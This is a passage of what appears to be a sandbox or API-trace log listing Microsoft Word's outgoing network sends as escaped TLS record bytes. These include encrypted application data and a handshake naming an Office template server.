  499. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04d\\x0c\\xb4\\xda*\\x0e>\\xdfu\\xc7\\x90\\xe9\\xe1\\xbf\\xc6\\xe1ma\\x12q\\x1b\\x96\\xcd\\x008m\\xa0_\\xb3\\x9e\\x95\\xdd\\xa0~\\xd4\\x89\\xb4\\xf2\\x1cjs\\xf8\\x08!%\\xcb\\xbc\\xf2a\\xd9sgey\\xd4e\\x13\\xc6\\xc4\\xb9\\x0ca\\xe9\\x8a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000y\\x9a\\xca^\\x83\\xf5y\\xd0\\xc8\\xa1\\xd0\\xf5\\x14\\xb1\\x1e&!\\xc3\\x00\\x9ay6\\xb5\\xcc\\x0b\\x97$\\x01\\xcb\t\\xf7\\x9b\\x81\\xfb^\\xc5\\x05\\x06o\\xcacl!~\\x1e\\x8cwc"
  500.  
  501.  
  502. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd7\\xa5\\xe3\\x06\\x996l?\\xd1\\phf\\x0ct\\x1c\\xf5\\x8e\\xe3\\xf5\\xe4\\x80\\x82\\xda\\xfc(wb\\xe0\\xfd\\xe3s\\xa9p\\xe5\\xb3\\x99g-\\xf7\\x92\\xea\\xd3d\\x7f\\x8b\\x17\\x94\\x17ab%\\xf9w\\x1e\\x10\\x9a\\x86\\x04\\xab\\x11-i\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000g\\xa0\\x82zy,\\xd42\\xc1r\\xa5\\xba\\xc3\\xb9#\\x92p*8\\x1a\\x03\n#m\\x06p\\xbc\\xe5k\\x02&z \\xb3\\xe22\\xb8\\x87\\xd9\\x8b\\xc9\\x0e\\xb5r\\xc8\\x10$"
  503.  
  504.  
  505. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v`\\xfc:7\\x9e\\xa9\\x19\\x01\\xc7\\xc6\\xaa\\xe4\\x1fq\\xc4z\\xa3\\xf0\\x85\\xef\\x8b\\x9cb\\x99\\x98\\xb7\\x11\\x1b\\x1f\\xb5\\x9d9\\x8d\\xae\\xe2\\x1dstqr\\x8d\\x9a\\xb0\\x18\\xd1d\\xa4\\x05\\xdaq5\\xb8\\x12.\\xf3:\\x85\\xdf\\xa7\\x03\\xcd\\xa7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x81^\\xf1\\x8f\\xaa\\xaeh\\xfb\\xf9\\x93\\x1bx\\x99#\\xdcp\\xac\\xcd\\xa7\\xbfn\\x0b%c\\xc5\\xdd\\x94\\xfbr\\x17\\x11\\xefo\\xd4*\\xe0\\x8c\\xc5m\\x0f9\\xfbq\\xe3 \\xe8|\\xf1"
  506.  
  507.  
  508. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04w\\x01\\x13\\xe2\\x01\\xbb\\xad\\x8e\\xde=\\x14)\\x06\n\\xae@\\x91r\\xaa\\x8cp\\xfb\\xc9\\x97\\xfe\\xc1\\xe5ri\\x9aj(*\\xeb\\x11\\xdb\\x08\\xed\\xaf\\x15\\xd9v\\x0b\\xb4\\x03\\x11\\xb7$a\\xd0\\x15y\\x88g\\xddkz\\xd0\\xcf\\x9a\\xa8\\xednc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa2\\xf4\\x7f\\x8f\\x9cg\\x81\\xd3i\\x88p\\xd9b\\xc5@\\xd8q\\xd6\\xa13!ge\\x06q\\xfd!;\\x86\\xc8\\xd2p\\x0c\\xf3\\xcbj3=b5\\xee\\xf8\\xb9\\xb6\\xed9z"
  509.  
  510.  
  511. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04w\\xe4/\\x14(1tkf\\x93\\x9c\\x0ea\\xae\\xe4\\xe7\\xea+o\\xb6\\xa5\\x97\\x0b\\x1c\\x83s6\\x1d\\xa15ocqxq5\\xbd\\x82\\xa8\\x1c,kks\\xaeq4\\x08\\xea:\\xbai\\xba\\x13\\xfd\\xec\\xa3\\xdc\\x1a\\x8fs\\xecv\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xae\\xc3\\x91\\xf0p\\x85\\xfd\\xcd\\xf5\\xbd\\xe6\\xd8\\xf8\\xb9\\x00b8\\x13\\x96\\x8drq#\\x1d\\xc0\\xe5\\xc2\\xa8\\x86'\\xb7\\x02\\xe43\\x1c\rm\\xb4\"\\xab\\x88p\\x83\\xd1\\xe9\\x14\\x9d\\x9b"
  512.  
  513.  
  514. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x857\\x9a\\xbf\\xa8\\xfb\\x9f\\xc79\\xab\\x87\\xaa\\xfd\\xd9q\\xc9\\xdb\\xe2\\x83\\x87+h\\xe5\\xe6z\\xecs'\n\\xf9\\x14\\x18\\xca\\xa4v\\x84\\xc8?1\\x7f,\\xac\\x19\\xf4\\x8c\\xa2,\\xc8\\xaf<\\xd5\\x85\\xe6\\x81\\xfd\\xe3k\\xa6\\x9b\\xf2%i3\\xa0\\x06?kn\\x9cr\\x1c\\x80;\\xfe\\x9c\\xcb\\xd3\\x83\\x9905\\xdf\\xf6g\\x86\\xdd\\xd4\\x00\\x17%>\\xb7i\\xb0\\xf0\\xd46\\xfc\\xf2\\x9a\\x1c\\xe6\\xf7\\x8cl!\\x95\\x89\r\\xdf\\x81\\xafj\\\\x7f\\xa0r@\\x95\t&x\\xc7\\xbb-\\xb2r\\x9d\\xc97?\\xcd\\xa0\\x00!\\x0c\\xa1/&\\xa7\\\\xf3\\xdd\\xdb\"t\\x902b\\xac\\xd8\\x9b?\\x12\\xa8|4\\xa12\\xf3\\xd9\\xc9\\xfb\\xcc\\x10\\x8d\\xad\\xbej\\x8b\\xe9\\xef\\xefi \\x91\\xe0r\\xc1\\xe9f\\xe2bf\\xdbr\\x1c\\xb7\\x0e\\x95\\xef\\x8f\\xdc\\x01\\x03\\x06\\x06\\x16r\\x9db\\xc8~\\xe4*\\xc4\\xfb:\\x81a\\xe6m\\xd4&\\xa8\\xae\\x83\\x96\\x17\\xee\\x8d6\\x15m\\x96\\xa8\\x96\\x02t\\xdcho\\xadt*\\xc0\\x88\\xbf\\xc2|?\\x8d\\x1c\\x03\\xa9\\x86q"
  515.  
  516.  
  517. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0f\\xba1\\xf77\\xb92\\xe2\\xa1m\\xc9\\x94\\x89\\xbf\\x7f\\xde\\xd1n\\x05\\x96\\x0b\\x00bvc\\xe5\\x14\\xd3\\x1f8d\\xaecz\\x86\\xb3\\x05a\\xfe\\xcb\\x0c\\x04\\xb1-\\xcd\\x0e\\xcc\\x05\\xee\\xf6\\<$\\x02c\\xc1\\x17c\\a\\xb8\\xbf\\xe5g'\\xa79\\xd8i\\x10\\xca\\xe5\\xc7i\\xed\\xca\\x0e\\xb3\\xdcw\\xff\\x96u8\n)h.\\x14\\xd1\\xecgo\\x97\\xe6;>\\xd1\\xc2l8\\x9d\\xc4\\xa7\\x9a\\x0f(\\xe4\\x9ei\\xab;1d\\xc7\\xbd\\xdb\\xc5,\\xb2\\x002s\\xa0\\x9b\\xd7c\\x92\\xda\\xfe\t\\x91\\xa3\\xdd\\x86\\xee!\\xe6\\xa7\\xc1\\x9e\\xffla\\x9a\\x1a\\xd0\\xc1\\xd3~mn\\x05\\xab\\xd9l\\x91\\xa8\\xdd\\x94\\x083$|g\\xaco(\\xf5\\x04-5p\\xc2\\xb2\\x1d;\\x80\\x10\\xc0\\xbd\\xa8\\xdc\\\\xe7\\xec\\x08\t\\xd0\\x14\\x89d=\\x86\\x8dy\\x06\\x15a-\\xb7t\\xce&\\xae/\\xb4\\x1a\\xa4\r\\x86v\\x02\\xec~f/7 \\xa2\\xf6\\xe9tc\\xd5\\xf9\\xfc\\xc4_,\\x81r\\xcf)i\\xa5\\xfa\\xc0\\x19\\x84\\xcb\\x8bx\\xb9c"
  518.  
  519.  
  520. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc8kky\\x01\\xe2\\x0f\\x7f\\xb8\\xfb\\xd5\\xae\\x95q-4\\x99>\\xc8\\x9b\\xe0\\xc4\\xebjmadp\\x8doaf\\xd4\\x7f\\xf9\\x04\\xf7\\x059\\x17\"\\xc0qg\\x05\\xa0\\xd2\\xdf\\xab|\\xee\\xde\\x96os\\x89<|\\xde\\xcc\\x10\\xad!\\xc7w\\x0c\\x031\\xdaf\\xe5\\xacg5co\\xb1\\xa8og\\xec\\xa2\\x12\\xe9k\\x03u5\\xff\\xc5ziwt\\x00\\xc8\\x15\\xef\\xa16$\\xda\r\\xf2\\xe7\\x1ep\\x14(cv8\\xc0\t\\xcb\\xc6\\x1e`\\x0c5\\x92\\xef\\x9c\\xbc\\xc5\\xa5j\\xc6\\x0b\\x01\\xf9o\\x97\\x9ej&7\\xd8\\xcb8\\x13\\xd8\"taa\\x97\\xce\\x97<'xn\\xae\\x14\\xc7\\xe8h\\x11<\\x9fams\\xc3n\\xb6\\xb8ni\\x1c5b\\xfe\\x88\\xc0b\\x1b\\xe5$\\xb9\\x81\\x02\\xf0\\xe4d\\x18\\xf3^\\xd5y+\\x91\\xf9\\xa1u\\xec\\xcbh\\xaa*\\x94\\xae\\xf8\\xbc1y\\xcd\\xd35\\xe3\\xe2gi\\x04\\xbfe\\xdad\\x9b\\x7f\\xc6;9hc\\xc6\\xeakts\\x10\\xc1z\\x89\\xe0\\x81k\\xce\\xb1\\x0f\\x12\\xe1\\xa8\\x10\\x89="
  521.  
  522.  
  523. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xce\\xcc\\x88i\\xd4\\xc6\\x94\\xce\\x87\\xec\\xf9\\x80\\x9ex\\x8f\\xa0\\xact\\x97\\x1c\\xcfi\\xb5\\xc7q\\x0b\\xba\\x89e\\xec\\x15\\x8e\\xa4\\xa8\\x10\\xf997\\xb7\\x93s\\xfd\\xa2\\x914rw\"n\\x11\\xa62\\xa2\\xd9\\xa6\\xe9\\x082\\xfc\\xb6\\x95\\x02\\x16f\\x85b\\x1d\\x81\\xbd\\x8e\\x8f\\xe1d\\x9b\\xf6\\xc3k_\\xaf\\xae\\x15\\xf4\\xefb\\xeaf\\x06z\\xfc\\xcf\\x0f\\xc3\\x8ap\\x0b\\x9b\\xa1\\xaf\\x07x\\xf05\\x8c\\x0e\\xb9\\x90#\\x01\r|\\x02;\\xe1mr.\\xd8\\x91rs=+\\xd7\\xb5s\\x83\\x8f\\xad\\x19t\\xe2\\x97\\xa2\\xbb\\xea\\xf8\\xab\\xdf\\xd6\\xed\\xf9\nnm\\xf3\\xfe\\xcf5e@%p~|\\x92\\x97\\x08o`=\\x89\\x1c\\xe5\\xd6q$\\x82p\\xc0\\x7f5\\xbe\\xe6\\xb7b\\x980mh\\xe8/\\xd0e\\xb2i#\\x8b\\xd2/\\xcd\\xf1\\xcff\\x9e5\\xf8y\\x8e!_\\xd1\\x9b\\xbd~\\xa0\\xbf\\x87\\xa2`m\\x13c\\x07\"6\\xc1\\xedi\\x0cb\\xe9\\x13\\\\x9bw/)\\xfdf\\x08\\x87%<\\xc7\\x08\\xbe~\\xcbh\\x05q\\xdd\\xef\\x89"
  524.  
  525.  
  526. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0102\\xc2\\x84\\xe4\\xaf\\xc1\\x06\\x08\\xee\\xe7z\\xd8\\xaa^\\x83.=g\\xffuzxq\\x91\\xefvg\\xdc\\x9f\\x94\\xa5\\xd4\\x95g\\x19\\xdb\\x88f@`\\x03\\xdb\\x16\\\\xdbp\\xc4md\\xd6\\x15\\x90h\\xdb\\xca^bc\\xc9w\\x9el\\x80omwm`\\xbfs\\x01_\\xd3>d;9e\\x0bia\\x84n\\xba\\xed\\x81\\xaf\\xb6\\x99\\xa3\\xa5\\x8f'b\\xbd\\xb5u/\\xee\\x94\\xb9r7=\\xcd\\x89\\x08\\x0b\\xeb\\x9c\\x15\\x0f/\\x9b\\x06ig\\xb7\\xa1\\xd6\\xcep\\x14zy\\xf8\\xbf\t,\\xfd\\x99\\xfd+\\x92\\x08db\\xf0\\xf7'\\x05\\xb8\\x80`\\x17:\\x18\\xbd\\x92\\xc2n\\xea\\xa7\\xff\\xb3\\xeb\n\\xaet\\xbf>u\\x95\\xcb\\x1a=\\x7fo!cr\\xa8\\xb5c$d7l!\\x8d\\xfcr/x\\x07\\xe5\\x12vgy\\x960\\x17\\xb6\\xaa-\\x87\\x8c\\x1c\\xa5\\x9e1\\x8e\\xf8\\xab\\x07\\xdbbe\\xd6\\xd1au\\x90\\x9c\\x94pamc#m\\xc6c\\x17\\x05\\xd8\\xde?\\x86yb\\xff>7l\\x80\\xf9\\x06\\xfb\\xf2\\x1eko\\x0b\\xf2\n\\xfe"
  527.  
  528.  
  529. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xac\\xc0\\x9a2\\xe3\\x97\\xa0=\\xf9\\xae\\xa6\\xb3\\xd3\\xac\\xa1\\xff\\x93\\xc9\\xe5(e\\xbb\\x86=2~c\\xe8\\xe6\\x16\\xee22\\xf2\\x8e\\xfb\t\\xb8\\x16\\x9e\\xdd\\xab\\x06\\x17\\x12-r\"1\\xdb\\xc6&c\\xc0j\\xe9j \\xc0xhb-\\xb6#k\\xeb\\xa0\\xd0\\xce\\xd0m\\x8b\\xbe\\xa9\\xc8\\x86\\xaa\\x9a\\xf5\\xfd3\\xcf\\xa8\\x13\\x9f\\x92\\x1ey\\x8b\\xdaz\\x87c_\\x02|\\xd0^\\xf6%<\\x03\\xb7/\\xd4\\x9a\\xed\\xb2\\xee\\x1c\\x14\\x11\\xfej\\x84\\xddf\\xf8\\x02b\\xdef\\x1f\\xbd\\x05\\xaa\\\\xd6\\x9b\\xfcr\\xb4\\x8a1\\x92\\xa7\\xe4\\xab+\\x15\\x1a\\x8e`\\x04\\x13\\xae\\xc1\\xc93v?a\\xc0\\x9dr7\\xc7mr\\x91e\th7f\r\\xa6\\x19z\\x88\\xfe\\x83\\x06\\xf5\\xb0\\x9b|\\x14\\xad\\xdf\\xe6\\xd0\\xbe\\xab\\x8c\\xf8\\xad\\xd8\\xf5\\xbb\\xd4\\x07\\x88&\\xca\\xa5\\xde\\xbb\\x90^\\xed\\xbe\\xc9\\xec\\x8d\\xfb\\xa2\\xfd\\xc4\\xe21#\\xdcc\\xcd\\xda\\xdc6\\x10r\\x08\\xe5k\\xbb\\x9eh\\x89\\xb3?uo\\x1b\\xa7\\xfe\\xe4\\x80s\\xa0ij\\xab~8\\x8f"
  530.  
  531.  
  532. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x17\\xdbn\\xb4o\\x85\\xa6!\\x89\\x96\\xb1|\\x95k\\xfd\\xf1,.\\xdc\\x815\\xbb\\xe9$i\\x9cb\\xd1\\xfb\\xf6!qh`\\xf6\\xe8(4\\xfb$\\xd4\\x81\n\\x03i#\\xa0\\xa1\\x8f,\\xa5\\x84\\xdf\\xc8\\xa9d\\xad\\xec\r\\x15\\xdc\\xa3\\x8e\\xed\\x82u\\x8c\\xae\\xc0+d\\xd7\\xe4\\x96\\xb6c|\\xe3\\x14z\\xb23\\x92\\x1e\\x1b \\x08\\x8ad\\xca\\x18y\\x98n\\xac\\x94\\xb2\\xfb\\x8c=\\xfa\\xc0\\xb8\\x15\\xb98\\x8by\\xca\\xa4\\xff\\xbc\\x97/\\x82\\xdb\\x92_\\xd9\\x05\\xc9\\x86\\xde?\\x19\\xbe\\xb9\\x8a\\xe7\\xb2\"+\\xb2\\x9f\\xa1\\xf4\\xb5\\xc4\\x99\\xfa\\xa1\\xd4\\x1au\\x89\\xb4\\xd8w\\x13qo\\xdf\\x0b\\xd2\\x01|q\\xa7\\xe0+c3\\x9bs\\x18hr\\xd2zk\\x19\\x81\\\\x1a\\x1dz\\xfewp\\x02u\\x81\\xc89\\xa0#\\x8a\\x95\\xae\\xf2@\\x07$\\x8f\t\\x94\\x82,c>\\xc8k\\x8e7:\\x9d\\xe6\\xc2\\xeb\\x03s\\x9e\\xebw\\xf2\\x1aq\\xd3\\xae\"\\x82t\\xe2\\xddi\\x9dr\\xc7\\xb2h7\\xb44\\xda\\x8c\\xd6m*p\\xdb\\x9fvi<y\\xa4\\xac"
  533.  
  534.  
  535. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010j4p\\xce\\xdb4he\\xb5_\\x8af\\xc0_\\xf9\\x85y\\x12\\xf5i\\xc9\\xa2\\x945\\xd1\\xfbk3\\xbe\\xbc\\xdf8\\x99 \\x03\\xd5\\x89:\\xeb4\\xc4\\xab!\\xe594/\\xb1-\\xc8\\xcd\\xb6\\xff\\xc4\\xd8\\x9fa\\xe8q\\x9a\\xa2\\x0f\\xa4\\x06<\\x87e\\xcf\\xd9al~\\xecp\\x02\\x85\\xae\\xa2\\x9f\\xef\\xf7dg\\xb9\\xa3\\xa72\\xee\\x11\\xc6\\x12x\\x86ic=\\xf4'\\xec\\xcdc\\xb3\\xd8&|3\\xbf\\x06t9!\\xcb\\x93;\\xdas'%\\xfe\\xa0\\xb0\\xdff\\xa0\\x06\\xb8 \\x01\\x95\\xfa\\x7f\r\\xe8ww)\\x8c\\x90\\x9d\\x08\\x9cv\\xb7x\\xcf\\xca3\\xf6a\\xb0_\\xd6\\x01bpz\\xbe\\xe5\\x97\\xbd\\x1f-\\xefe\\x06\\xf6gu\\x82\\x8a\\x81vf\\x05\\xbd&f\\x81\\xd1\\x9f:\\x15\\x02k+\\x14\\x84\\xba\\x82\\xa4*\\xe1x\\xda\\xf5z\\x10j\\xcfp\\x0f\\x16wj\\xa3\\xd2c)*v\\xb7\\xdf\\x90\\xf8\\x8bh\\xae+\\xf1bqj\\xad\\xc3\\x0cx)_\\xc1\\x04q\\xfd(3\\xb1\\xb4\\xd7\\xeb\\x04\\x90\\xa6-jf\\x9c"
  536.  
  537.  
  538. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd0\\xb8f\\x88zf\\xe4\\x85\\x0f\\xca,\\xb6\\xea\\xff.j/v\\x11%\\xb3z\\xb8\\xfb\\xb7\\\\x88g/\\xbf\\xd7,g\\xd4+\\xc9\\x8e\\xb3\\xb8$z\\xb7\\xd7pk\\x88\\xf0\\xc8\\xb1\\xe2\\x02<\\xdb9\\xd2.d2\\x8e&\\xb7\\xbb\\x8f\\xbc\\xd7y\\xa16\\xf5\\xa7\\x81\\xaaa|\\xd3\\xbe\\xfex\\x8b>a\\x172\\x0b\\xc5^+\\x9d\\x82#hys\\xae\\x0c\\xe4b\\xbf\\xf3\\x13\n\\xfd\\xd1z\\xf3r\\x87\\x9aa\\xfe\\x96\\xb4\\xfbj\\xa5\\xa9n\\xcaj32\\xf0\\xe7\\xd1\\x8d\\xc2/u'\\xb1\\xaa\\x99\\xa3\\xce\\xa5\\x13\\xb9\\x0b\\x98\\xd4\\x1f\\x1d@\\xe3\\x08!\\xfb\\x8d\\xaar\\x02s#\\x15\\xdb\\xd1-\\x00\\x84z\\xba(\\xdfw\\xb3z\\x1a\\x18\\x8b(\\xe3a\\xb9\\xfc\\x17`6\\x8cyq|\\x83\\x16\\x8a\\xba\\x11h\\xe8\\xe3\\xe9.\\xba\\x10o\\x83\\xc9tn\\xef/v\\xeb\\xf5\\xd9\\xc7\\xcb\\xc0\\xc0#d\\x8ct\\xb92\\xef7ny9\\xef\\xe1\\xe1\\xdf\\xb0\\xf8\\xc4\\xd9\\x90\\xfc\\xe8\\x8amj\\xf0>\\x93.@+|\\x0c\\xf5\\xd8\\xc2\\x029\\x8fl"
  539.  
  540.  
  541. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010!dvme\\xbas\\xe4\\xed\t rb\\x08\\xe5\\xa2\\x950qa\\x9f\\xfd5\\x88\\xfa\\xb7b\\xeaz\\x04\\xed\\xbf\"\\xcc\\xb1\\x0b\t\\x92\\xad\\x1bt\\xc9\\x1f\\xf3:\\xca\\xd8k\\x80 x\\x14\\x82\\x9bj\\xf5p\\xf2r\\x1c\\x1dfie\\xc9,\\xee^_\\x86\\xf5\\x193\\x1f\\xfahs\\x96\\xd5\\xe8p\\xd0r\\x96\\x06\\xc9\\x16@x\\xf4\\x19\\x9e\\xfd\\xe6\\x11\\xeb\\xdcr\\xbf\\x9f\\xf7k\ry\\xdfs\\xbc\\xa1\\xe1#\\xe7\\x82\\xab\\xf8\\xfd\\xbd\\x8e\\xcet\\xd1\\xb2\\xa2-b\\xda\\xbc'\\x81\\x98y\\xf82\\x1c\\xc2m\\xd7\\x1e\\xc6\\x7f\\x12\\x10\\xda \\xea\\xd1\\xcc\\x087\\xda\\x9d\\xe6\\x8a\\xe2\\x8b\\xd1\\xae\\xf8\\x95\n\\xef^c8zo@1\\x9c\\x84\\x952\\x94t\\x7fu>c\\xae\\x1b\\xfe\\x94\\xd9\\xa5\t\\xdf\\x0bl\\xc7\\xf1\\xda\\xb4f\\x99\\xf8g\\xd0u\\x1bix\\xa2\\xe0k\\xe9t^\\xa6\\x81\\x98\\xdd\\x07\\x8e\\xbbd\\xd3iswa:g\\x98\\x9e\\xdf\\xcd\\x13\\xe9\\x06\\x1fx\\x94\\xdci&$\\xef1\t\\xf9p.\\x06\\xafo-\\x08?"
  542.  
  543.  
  544. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010'?\\xfc\\xb2\\x10\\x1f77xi\\xfe\\xd6\\xd6d\\x91\\xc82\\x03\\xec\\xb1\\xd1\\xeaqj\\xa3#\\x1c\\x8a\\xe0\\xc0$\\xa2\\x1c5i'\\xd5\\x82\\xd6|\\xed\\x87hnk\\x96m#n\\xc4\\xc5\\xf6a\\x9b'\\xf4*\\xd4\\xde\\xfdd\\xa2\\xf7\\x06c\\xfb\\x1f\\x8b\\xc5\\x15_k~\\xcbma\\xb2\\x80\\xe5l\\xdc\\xaf\\x11\\xb3s\\x9d\\x0e\\xd4\\x8f\\xb3mm&\\xe6gf\\xd5\\xf7wy\\xfc \\xbb\\x99+\rv\\xc5c1\tu\\xafd\\x1e\\xad\\x9d\\x14\\xb9\\xe0\\xd9)\\x1d\\xcc\\xb3\\xb3h\\xec\\x95\\xb4$\\x00o\\x16\\xdd\\x1e\\xb85\\xa5\\xcacve\\xbf\\xb4\t\\x0e\\xb3$\\x1e\\xe0\\xc1\\xd0\\x83i\\xf7\\xca\\x81\\x8c\\xb2b\\xd0c\\xca\\xa0\\x9e\\x12i\\xd62\\x8a\\xdfk\\xc6\\xbe\\x95\\xf9\\xf4\\x18\\xa1b5\\xf9@g\\xe8o\\xcf ?t\\xfd5h\\xd6\\x9f\\xe9\\xa5&\\xc7nqc\\x0bg\\x83\\xc3\\x14\\xbd\\xba\\xed\\x81\\x99\\xdb\\xa8\\xeb\\x9a\\x00\\xde>\\xe5\\xa0\\xe0\\xd6\\xd7\\xd3 ex\\xa2|\\xef\\xfd;\\x1dg\\xfd\\xb1\\xce\\xc7\\xbc\\xffi\\xfd\\xc2\\x04\\xcb\\xd7\\x91\\xa9\\x9e"
  545.  
  546.  
  547. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x88\\xf4\\xf5x\\xf9~%\\x89|\\x03\\xd369v_\\xb4juyz\\xb5v\\x17\\x8bca\\x9cb\\xb6\\x9f\\xae;\\xb3\\xd7\\xdc\\xb3\\xb0\\x92f\\xcb\\xccr\\x10\\x13\\xb8\\x98\\x82kr\\xdap\\x7fx\\x1a\\x04\\x1c5\\xbc:.\\xf3g\\xe85\\x17\\x9e@\\xe8\\x85\r\\xae:\\xb9\\x84(\\x1e\\xc5u*\\xa2\\xb9\\x87r\\xcd\\xbe\\xeb_\\xd3\\xaf\\xea\\x87\\xb8\\xb4^\\xa1\\xdfs\\x8c>\\xe1\\xfa<h0\\x02\\xc6\\xe2\\xe7\\x0f\\x86\\xd0\\xdd\\x92#e5%\\x95\\xfd\\x9c\\xc6\\xb3\\x91t\\xfe!\\x9d\tu\\xc3o\\xa1b\\x7f:\\xab\\x891&\\x08\\x1d\\xf2g\\xe9f\\xde\\x02i\\xe7$e\\xb1!\\xfet.\\xfe?\\xfa\\xb9\\x1f0\\x02\\xc0e\\xc4\\x04\\x00\\x8e\\xe7\\xee\\xb0\\xf7\\x14t#\\xb0\\xb3\\xaf\\xc9\\x18.z\\x04\\xec\\x0bv\\xa9\\x05\\xb5\\x97\\xcbi\\xef\\xac\\xd2fv\\xfft\\x1312\\xc1\\xc0\\xd1\\x96\\xab\\xb9\\x95\\xdc\\x08y\\xce\\x9c\\x0b:\\x84\\x11\\xb32\\xb7\\xd0p\\x16\\x03wq4\\x93n1\"\\x06yv\\\\xa6\\xc7\\x17as\\x07\\xea"
  548.  
  549.  
  550. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x17\\x86\\x8a\\xaf\\xdd\r\\x03\\xe3\\x84v\\x84\\xcc(\\xa4\\xf54e\\xe1a\\x06\\xe8b\\xd3\\xb0~\\xae\\xaaf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  551.  
  552.  
  553. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x00\\x8ay\\xbf\\xc0|\\xa1y\\xc4\\xcc\\x88\\xcf\\xfd\\xc8\\x86+\\xbd\\xe5\\xdd\\xad\\x98\\xe0gi\\x9d\\xcds\\xbc\\xabo\\xc6\\x19\\xef\\xfcv\\x0bnj.u\\xa9\\x8a1\\xd8y\\xa8x\\x86\\xc8\\xda\\x84\\xe1\\xbf\\x15\\xdf8\\xe0v\\xfc\\x93;\\x99\\xd9p\\x88l\\xd9\\xf9\\x91\\x0c\\xd0\\xfc*\\xde\\xa05+\\xf2\\xb0\\xd4\\xcb1\\xdd\\xe0\\xa5\\x1ac)\\xda+\rm\\x8a-y\\x7f\\x8d\\xdd\\xfa\\xbf8q\\xfe(~\\xff5\\xdc\\xdc\\x04\\x97\\xa5w\\x16\\\\xc9\\xb5\\xc3\\x82c\\xd0\\xa2y6\\xae\\xbd\\xfe\\xbep\\xe4\\x84\\xb1\\x1b\\xd0y0/\\xe5\\xc7\\x11\\xa5\\x93#\\xdfzn\\xe7k\\x13ls2\\xe4bfn-w\\xe5\\xa2`\\x83|\\xeetr\\x87\\xc8\\x9e\\xda+|\\x8a\\xde)\\xa8\\x0f\\xf6x\\xab@5\\x8a\\xef\\xc7o\\xe4* \\xd6m\\xb5<\\xd3\\xa5\\x97a\\xb4d\\x80\\x98\\x8d\\x0b\\x9c\\x0bzr0m\\xe3\\x8e\\xf2b\\x023\\x19\\x8a\\xb7\\xb3\\xcb\\x0bs\\x84\\xf1si\\x92z%\\x1e\\xff^\\x06\\x0f9\\x0fw\\xc5\\xa1\\xe6u@\\x0f=\\x19o\\xac"
  554.  
  555.  
  556. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb8\\x17v>u,~\\xf5\\xaeb\\x0c\\xab\\xf2\\x86.\\xb7\\xebvi\\xbe\\x84\\x8b1\\xb3\\xccc\\x061~\\x9f\\x879\\xa3e\\xf6t\\xea\\xb6\\xf7\\xca\\x1a\\x88\\xb0t\\xc3\\x81\\xb8\\x1f\\xa6\\xba\\xc1\\x16\\x02v\\xbb\\x9d\\xfc8se\\xe0\\x99\\x9ej\\x0f\\xa4v\\xdcfm\\xe2\\x8fx7\\xba\\xbc6\\xed\\x9d\\xb2\\xcf\\xc9\\x80+v\\xb2\\xb6\n?j\\x8ax \\x80\\xa2\\x16\\xe8\\xfa\\xbc\r\\xef\\x02\\xd6\\x18\\xfc\\x9f`\"b\\x06\\x7f\\xf6\\xd35\\xdd\\xda\\xdb\\xe4\\xfc\\xe4b*zc\\xee\t\\xf0r\\x18\\x1a\\xc8yb\t\n\\x90\\xd0q\\xfd\\xf1\\xe3\\xa6\\x86x\nrwa\tb=\\x02\t8yz\\x08\\xe0\\x9b\\xe3:\\xa1\\x84\\x92\\xaa24\\x08\\x11\\xa9\\xdd\\x93&\\xaclv\\x97\\xbfx9\t\\x85%\\xa5w0\\x9b\\xd3\\xe0\\xca\\xbe\\xf2\\x84\\xaa\\xb9$!\\xc7\\xc13\\xa5?-\\xd3$k\\xf1\\xf2\\x08\\x13\\xdew\\x97\\x80kg \\xe8\\x1bi;\\xa4&\\xc5\\xca\\x99uz\\x81\\xa4\\x1f-\\x08m\\x8a\\xc4\\xe3\\xcbg\\xb2%\\xb71\\x7f\\xa8\\xb2x\\xfc"
  557.  
  558.  
